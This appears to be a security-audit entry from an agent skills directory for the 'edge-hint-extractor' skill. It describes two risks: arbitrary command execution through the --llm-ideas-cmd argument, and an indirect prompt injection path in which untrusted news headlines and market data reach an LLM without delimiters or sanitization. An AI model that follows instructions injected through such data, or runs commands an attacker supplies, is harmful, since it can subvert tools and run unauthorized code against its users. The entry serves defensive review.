The Agent Skills Directory

[COMMAND_EXECUTION]: The script scripts/build_hints.py uses subprocess.run to execute a command provided through the --llm-ideas-cmd argument. While it uses shlex.split to parse arguments to prevent simple shell injection, it still allows the execution of arbitrary external binaries or scripts specified at runtime. In an agent-driven workflow, an attacker could potentially influence the agent to provide a malicious command string, leading to unauthorized code execution.
[INDIRECT_PROMPT_INJECTION]: The skill represents a vulnerability surface for indirect prompt injection due to its processing of external, potentially untrusted data.
Ingestion points: The script scripts/build_hints.py reads data from market_summary.json, anomalies.json, and news_reactions (CSV/JSON) files.
Boundary markers: None. The external data is interpolated directly into a JSON payload for the LLM augmentation step without delimiters or instructions to ignore embedded commands.
Capability inventory: The skill can execute subprocesses via the --llm-ideas-cmd argument and write to the local filesystem (hints.yaml).
Sanitization: There is no content validation or sanitization of the input data before it is passed to the LLM-ideas command or written to the output file. Malicious content within news headlines could attempt to inject instructions to subvert the behavior of the external LLM or downstream tools.

edge-hint-extractor